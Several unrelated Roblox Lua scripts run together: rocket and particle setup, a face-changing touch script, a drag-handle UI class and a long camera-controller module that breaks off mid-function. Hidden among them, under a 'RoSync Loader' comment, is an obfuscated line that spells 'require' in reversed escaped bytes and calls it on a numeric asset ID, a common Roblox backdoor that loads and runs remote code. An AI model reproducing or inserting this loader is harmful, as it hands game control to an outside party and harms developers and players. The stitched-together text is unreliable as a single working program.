return function (system, particleRef) warn("Particle Died, Info Follows") warn("CFrame:", particleRef.CFrame) warn("Color:", particleRef.Color) warn("Children:", particleRef.Children) end
--NOTE: We create the rocket once and then clone it when the player fires
local Rocket = Instance.new('Part') do -- Set up the rocket part Rocket.Name = 'Rocket' Rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size Rocket.Size = ROCKET_PART_SIZE Rocket.CanCollide = false -- Add the mesh local mesh = Instance.new('SpecialMesh', Rocket) mesh.MeshId = MISSILE_MESH_ID mesh.Scale = MISSILE_MESH_SCALE -- Add fire local fire = Instance.new('Fire', Rocket) fire.Heat = 5 fire.Size = 2 -- Add a force to counteract gravity local bodyForce = Instance.new('BodyForce', Rocket) bodyForce.Name = 'Antigravity' bodyForce.force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0) -- Clone the sounds and set Boom to PlayOnRemove local swooshSoundClone = SwooshSound:Clone() swooshSoundClone.Parent = Rocket local boomSoundClone = BoomSound:Clone() boomSoundClone.PlayOnRemove = true boomSoundClone.Parent = Rocket -- Finally, clone the rocket script and enable it
-- declarations
local head = script.Parent local sound = head:findFirstChild("Victory") function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then sound:play() if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end end script.Parent.Touched:connect(onTouched)
--[[ Last synced 10/19/2020 07:18 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- Create class
local Handles = {} Handles.__index = Handles function Handles.new(Options) local self = setmetatable({}, Handles) -- Create maid for cleanup on destroyal self.Maid = Maid.new() -- Create UI container local Gui = Instance.new('ScreenGui') self.Gui = Gui Gui.Name = 'BTHandles' Gui.IgnoreGuiInset = true self.Maid.Gui = Gui -- Create interface self.IsMouseAvailable = UserInputService.MouseEnabled self:CreateHandles(Options) -- Get camera and viewport information self.Camera = Workspace.CurrentCamera self.GuiInset = GuiService:GetGuiInset() -- Get list of ignorable handle obstacles self.ObstacleBlacklistIndex = Support.FlipTable(Options.ObstacleBlacklist or {}) self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) -- Enable handle self:SetAdornee(Options.Adornee) self.Gui.Parent = Options.Parent -- Return new handles return self end function Handles:CreateHandles(Options) self.Handles = {} self.HandleStates = {} -- Generate a handle for each side for _, Side in ipairs(Enum.NormalId:GetEnumItems()) do -- Create handle local Handle = Instance.new('ImageButton') Handle.Name = Side.Name Handle.Image = 'rbxassetid://2347145012' Handle.ImageColor3 = Options.Color Handle.ImageTransparency = 0.33 Handle.AnchorPoint = Vector2.new(0.5, 0.5) Handle.BackgroundTransparency = 1 Handle.BorderSizePixel = 0 Handle.ZIndex = 1 -- Create handle dot local HandleDot = Handle:Clone() HandleDot.Active = false HandleDot.Size = UDim2.new(0, 4, 0, 4) HandleDot.Position = UDim2.new(0.5, 0, 0.5, 0) HandleDot.Parent = Handle HandleDot.ZIndex = 0 -- Create maid for handle cleanup local HandleMaid = Maid.new() self.Maid[Side.Name] = HandleMaid -- Add handle hover effect HandleMaid.HoverStart = Handle.MouseEnter:Connect(function () Handle.ImageTransparency = 0 end) HandleMaid.HoverEnd = Handle.MouseLeave:Connect(function () Handle.ImageTransparency = 0.33 end) -- Listen for handle interactions on click HandleMaid.DragStart = Handle.MouseButton1Down:Connect(function (X, Y) local HandleState = self.HandleStates[Handle] local HandlePlane = HandleState.PlaneNormal local HandleNormal = HandleState.HandleNormal local HandleWorldPoint = HandleState.HandleCFrame.Position local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit -- Project viewport aim point onto 2D handle axis line local AimAdorneeViewportOffset = Vector2.new(X, Y) - HandleState.AdorneeViewportPosition local MappedViewportPointOnAxis = HandleAxisLine:Dot(AimAdorneeViewportOffset) * HandleAxisLine + HandleState.AdorneeViewportPosition -- Map projected viewport aim point onto 3D handle axis line local AimRay = self.Camera:ViewportPointToRay(MappedViewportPointOnAxis.X, MappedViewportPointOnAxis.Y) local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane) local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin -- Calculate dragging distance offset local DragDistanceOffset = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) -- Run drag start callback if Options.OnDragStart then Options.OnDragStart() end local function ProcessDragChange(AimScreenPoint) local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit -- Project screen aim point onto 2D handle axis line local AdorneeScreenPosition = HandleState.AdorneeViewportPosition - self.GuiInset local AimAdorneeScreenOffset = Vector2.new(AimScreenPoint.X, AimScreenPoint.Y) - AdorneeScreenPosition local MappedScreenPointOnAxis = HandleAxisLine:Dot(AimAdorneeScreenOffset) * HandleAxisLine + AdorneeScreenPosition -- Map projected screen aim point onto 3D handle axis line local AimRay = self.Camera:ScreenPointToRay(MappedScreenPointOnAxis.X, MappedScreenPointOnAxis.Y) local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane) local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin -- Calculate distance dragged local DragDistance = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) - DragDistanceOffset -- Run drag step callback if Options.OnDrag then Options.OnDrag(Side, DragDistance) end end -- Create maid for dragging cleanup local DragMaid = Maid.new() HandleMaid.Dragging = DragMaid -- Perform dragging when aiming anywhere (except handle) DragMaid.Drag = Support.AddUserInputListener('Changed', {'MouseMovement', 'Touch'}, true, function (Input) ProcessDragChange(Input.Position) end) -- Perform dragging while aiming at handle DragMaid.InHandleDrag = Handle.MouseMoved:Connect(function (X, Y) local AimScreenPoint = Vector2.new(X, Y) - self.GuiInset ProcessDragChange(AimScreenPoint) end) -- Finish dragging when input ends DragMaid.DragEnd = Support.AddUserInputListener('Ended', {'MouseButton1', 'Touch'}, true, function (Input) HandleMaid.Dragging = nil end) -- Fire callback when dragging ends DragMaid.Callback = function () coroutine.wrap(Options.OnDragEnd)() end end) -- Finish dragging when input ends while aiming at handle HandleMaid.InHandleDragEnd = Handle.MouseButton1Up:Connect(function () HandleMaid.Dragging = nil end) -- Save handle Handle.Parent = self.Gui self.Handles[Side.Name] = Handle end end function Handles:Hide() -- Make sure handles are enabled if not self.Running then return self end -- Pause updating self:Pause() -- Hide UI self.Gui.Enabled = false end function Handles:Pause() self.Running = false end local function IsFirstPerson(Camera) return (Camera.CFrame.p - Camera.Focus.p).magnitude <= 0.6 end function Handles:Resume() -- Make sure handles are disabled if self.Running then return self end -- Allow handles to run self.Running = true -- Keep handle positions updated for Side, Handle in pairs(self.Handles) do local UnitVector = Vector3.FromNormalId(Side) coroutine.wrap(function () while self.Running do self:UpdateHandle(Handle, UnitVector) RunService.RenderStepped:Wait() end end)() end -- Ignore character whenever character enters first person if Players.LocalPlayer then coroutine.wrap(function () while self.Running do local FirstPerson = IsFirstPerson(self.Camera) local Character = Players.LocalPlayer.Character if Character then self.ObstacleBlacklistIndex[Character] = FirstPerson and true or nil self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) end wait(0.2) end end)() end -- Show UI self.Gui.Enabled = true end function Handles:SetAdornee(Item) -- Return self for chaining -- Save new adornee self.Adornee = Item self.IsAdorneeModel = Item and (Item:IsA 'Model') or nil -- Resume handles if Item then self:Resume() else self:Hide() end -- Return handles for chaining return self end local function WorldToViewportPoint(Camera, Position) -- Get viewport position for point local ViewportPoint, Visible = Camera:WorldToViewportPoint(Position) local CameraDepth = ViewportPoint.Z ViewportPoint = Vector2.new(ViewportPoint.X, ViewportPoint.Y) -- Adjust position if point is behind camera if CameraDepth < 0 then ViewportPoint = Camera.ViewportSize - ViewportPoint end -- Return point and visibility return ViewportPoint, CameraDepth, Visible end function Handles:BlacklistObstacle(Obstacle) if Obstacle then self.ObstacleBlacklistIndex[Obstacle] = true self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) end end function Handles:UpdateHandle(Handle, SideUnitVector) local Camera = self.Camera -- Hide handles if not attached to an adornee if not self.Adornee then Handle.Visible = false return end -- Get adornee CFrame and size local AdorneeCFrame = self.IsAdorneeModel and self.Adornee:GetModelCFrame() or self.Adornee.CFrame local AdorneeSize = self.IsAdorneeModel and self.Adornee:GetModelSize() or self.Adornee.Size -- Calculate radius of adornee extents along axis local AdorneeRadius = (AdorneeSize * SideUnitVector / 2).magnitude local SideCFrame = AdorneeCFrame * CFrame.new(AdorneeRadius * SideUnitVector) local AdorneeViewportPoint, AdorneeCameraDepth = WorldToViewportPoint(Camera, SideCFrame.p) local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * AdorneeCameraDepth local StudsPerPixel = StudWidth / Camera.ViewportSize.X local HandlePadding = math.max(1, StudsPerPixel * 14) * (self.IsMouseAvailable and 1 or 1.6) local PaddedRadius = AdorneeRadius + 2 * HandlePadding -- Calculate CFrame of the handle's side local HandleCFrame = AdorneeCFrame * CFrame.new(PaddedRadius * SideUnitVector) local HandleNormal = (HandleCFrame.p - AdorneeCFrame.p).unit local HandleViewportPoint, HandleCameraDepth, HandleVisible = WorldToViewportPoint(Camera, HandleCFrame.p) -- Display handle if side is visible to the camera Handle.Visible = HandleVisible -- Calculate handle size (12 px, or at least 0.5 studs) local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * HandleCameraDepth local PixelsPerStud = Camera.ViewportSize.X / StudWidth local HandleSize = math.max(12, 0.5 * PixelsPerStud) * (self.IsMouseAvailable and 1 or 1.6) Handle.Size = UDim2.new(0, HandleSize, 0, HandleSize) -- Calculate where handles will appear on the screen Handle.Position = UDim2.new( 0, HandleViewportPoint.X, 0, HandleViewportPoint.Y ) -- Calculate where handles will appear in the world local HandlePlaneNormal = (Handle.Name == 'Top' or Handle.Name == 'Bottom') and AdorneeCFrame.LookVector or AdorneeCFrame.UpVector -- Save handle position local HandleState = self.HandleStates[Handle] or {} self.HandleStates[Handle] = HandleState HandleState.PlaneNormal = HandlePlaneNormal HandleState.HandleCFrame = HandleCFrame HandleState.HandleNormal = HandleNormal HandleState.AdorneeViewportPosition = AdorneeViewportPoint HandleState.HandleViewportPosition = HandleViewportPoint -- Hide handles if obscured by a non-blacklisted part local HandleRay = Camera:ViewportPointToRay(HandleViewportPoint.X, HandleViewportPoint.Y) local TargetRay = Ray.new(HandleRay.Origin, HandleRay.Direction * (HandleCameraDepth - 0.25)) local Target, TargetPoint = Workspace:FindPartOnRayWithIgnoreList(TargetRay, self.ObstacleBlacklist) if Target then Handle.ImageTransparency = 1 elseif Handle.ImageTransparency == 1 then Handle.ImageTransparency = 0.33 end end function Handles:Destroy() -- Pause updating self.Running = nil -- Clean up resources self.Maid:Destroy() end return Handles
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
local function OnCharacterAdded(character) if UserInputService.TouchEnabled then if PlayerGui then local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "GestureArea" ScreenGui.Parent = PlayerGui GestureArea = Instance.new("Frame") GestureArea.BackgroundTransparency = 1.0 GestureArea.Visible = true GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0) layoutGestureArea(PortraitMode) GestureArea.Parent = ScreenGui end for _, child in ipairs(LocalPlayer.Character:GetChildren()) do if child:IsA("Tool") then IsAToolEquipped = true end end character.ChildAdded:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = true end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = false end end) end end if LocalPlayer then if LocalPlayer.Character ~= nil then OnCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(function(character) OnCharacterAdded(character) end) end local function positionIntersectsGuiObject(position, guiObject) if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X and position.X > guiObject.AbsolutePosition.X and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y and position.Y > guiObject.AbsolutePosition.Y then return true end return false end local function GetRenderCFrame(part) return part:GetRenderCFrame() end local function CreateCamera() local this = {} local R15HeadHeight = R15_HEAD_OFFSET function this:GetActivateValue() return 0.7 end function this:IsPortraitMode() return PortraitMode end function this:GetRotateAmountValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_ROTATION elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_ROTATION end end return ZERO_VECTOR2 end function this:GetRepeatDelayValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_REPEAT elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_REPEAT end end return 0 end this.ShiftLock = false this.Enabled = false local isFirstPerson = false local isRightMouseDown = false local isMiddleMouseDown = false this.RotateInput = ZERO_VECTOR2 this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM this.activeGamepad = nil local tweens = {} this.lastSubject = nil this.lastSubjectPosition = Vector3.new(0, 5, 0) local lastVRRotation = 0 local vrRotateKeyCooldown = {} local isDynamicThumbstickEnabled = false -- Check for changes in ViewportSize to decide if PortraitMode local CameraChangedConn = nil local workspaceCameraChangedConn = nil local function onWorkspaceCameraChanged() if UserInputService.TouchEnabled then if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM end) end end end workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged) if workspace.CurrentCamera then onWorkspaceCameraChanged() end function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end local STATE_DEAD = Enum.HumanoidStateType.Dead -- HumanoidRootPart when alive, Head part when dead local function getHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == STATE_DEAD then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('Humanoid') then local humanoidStateType = cameraSubject:GetState() if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then result = this.lastSubjectPosition else local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType) if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) local heightOffset = ZERO_VECTOR3 if humanoidStateType ~= STATE_DEAD then heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset) end end elseif cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p end end this.lastSubject = cameraSubject this.lastSubjectPosition = result return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:GetCameraHeight() if VRService.VREnabled and not this:IsInFirstPerson() then local zoom = this:GetCameraZoom() return math.sin(VR_ANGLE) * zoom end return 0 end function this:ViewSizeX() local result = 1024 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.X end return result end function this:ViewSizeY() local result = 768 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.Y end return result end local math_asin = math.asin local math_atan2 = math.atan2 local math_floor = math.floor local math_max = math.max local math_pi = math.pi local Vector2_new = Vector2.new local Vector3_new = Vector3.new local CFrame_Angles = CFrame.Angles local CFrame_new = CFrame.new function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2_new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2_new(xTheta, yTheta) end function this:RotateVector(startVector, xyRotateVector) local startCFrame = CFrame_new(ZERO_VECTOR3, startVector) local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y) end function this:RotateCamera(startLook, xyRotateVector) if VRService.VREnabled then local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0)) return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector else local startVertical = math_asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta)) end end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock if isFirstPerson or self:GetShiftLock() then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown or isMiddleMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end function this:rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math_max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = self:rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ----- VR STUFF ------ function this:ApplyVRTransform() if not VRService.VREnabled then return end --we only want this to happen in first person VR local player = PlayersService.LocalPlayer if not (player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then return end local camera = workspace.CurrentCamera local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') if this:IsInFirstPerson() and not isInVehicle then local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrRotation = vrFrame - vrFrame.p local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) else local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) end end local vrRotationIntensityExists = true local lastVrRotationCheck = 0 function this:ShouldUseVRRotation() if not VRService.VREnabled then return false end if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) vrRotationIntensityExists = success and vrRotationIntensity ~= nil lastVrRotationCheck = tick() return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth" end function this:GetVRRotationInput() local vrRotateSum = ZERO_VECTOR2 local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity") local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2 local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity) if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then local sign = 1 if vrGamepadRotation.x < 0 then sign = -1 end vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true end elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil end if self.TurningLeft then if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Left] = true end else vrRotateKeyCooldown[Enum.KeyCode.Left] = nil end if self.TurningRight then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Right] = true end else vrRotateKeyCooldown[Enum.KeyCode.Right] = nil end if vrRotateSum ~= ZERO_VECTOR2 then lastVRRotation = tick() end return vrRotateSum end local cameraTranslationConstraints = Vector3.new(1, 1, 1) local humanoidJumpOrigin = nil local trackingHumanoid = nil local cameraFrozen = false local subjectStateChangedConn = nil local cameraSubjectChangedConn = nil local workspaceChangedConn = nil local humanoidChildAddedConn = nil local humanoidChildRemovedConn = nil local function cancelCameraFreeze(keepConstraints) if not keepConstraints then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z) end if cameraFrozen then trackingHumanoid = nil cameraFrozen = false end end local function startCameraFreeze(subjectPosition, humanoidToTrack) if not cameraFrozen then humanoidJumpOrigin = subjectPosition trackingHumanoid = humanoidToTrack cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z) cameraFrozen = true end end local function rescaleCameraOffset(newScaleFactor) R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor end local function onHumanoidSubjectChildAdded(child) if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then if heightScaleChangedConn then heightScaleChangedConn:disconnect() end heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset) rescaleCameraOffset(child.Value) end end local function onHumanoidSubjectChildRemoved(child) if child.Name == "BodyHeightScale" then rescaleCameraOffset(1) if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end end end local function onNewCameraSubject() if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if humanoidChildAddedConn then humanoidChildAddedConn:disconnect() humanoidChildAddedConn = nil end if humanoidChildRemovedConn then humanoidChildRemovedConn:disconnect() humanoidChildRemovedConn = nil end if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if trackingHumanoid ~= humanoid then cancelCameraFreeze() end if humanoid and humanoid:IsA('Humanoid') then humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded) humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved) for _, child in pairs(humanoid:GetChildren()) do onHumanoidSubjectChildAdded(child) end subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then startCameraFreeze(this:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then cancelCameraFreeze(true) end end) end end local function onCurrentCameraChanged() if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() cameraSubjectChangedConn = nil end local camera = workspace.CurrentCamera if camera then cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject) onNewCameraSubject() end end function this:GetVRFocus(subjectPosition, timeDelta) local newFocus = nil local camera = workspace.CurrentCamera local lastFocus = self.LastCameraFocus or subjectPosition if not cameraFrozen then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z) end if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z)) else newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y)) end if cameraFrozen then -- No longer in 3rd person if self:IsInFirstPerson() then -- not VRService.VREnabled cancelCameraFreeze() end -- This case you jumped off a cliff and want to keep your character in view -- 0.5 is to fix floating point error when not jumping off cliffs if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then cancelCameraFreeze() end end return newFocus end ------------------------ ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local lastTapTime = nil local fingerTouches = {} local NumUnsunkTouches = 0 local inputStartPositions = {} local inputStartTimes = {} local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) --If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then fingerTouches[input] = processed if not processed then inputStartPositions[input] = input.Position inputStartTimes[input] = tick() NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then if isDynamicThumbstickEnabled then return end fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue()) if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math_max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function calcLookBehindRotateInput(torso) if torso then local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end 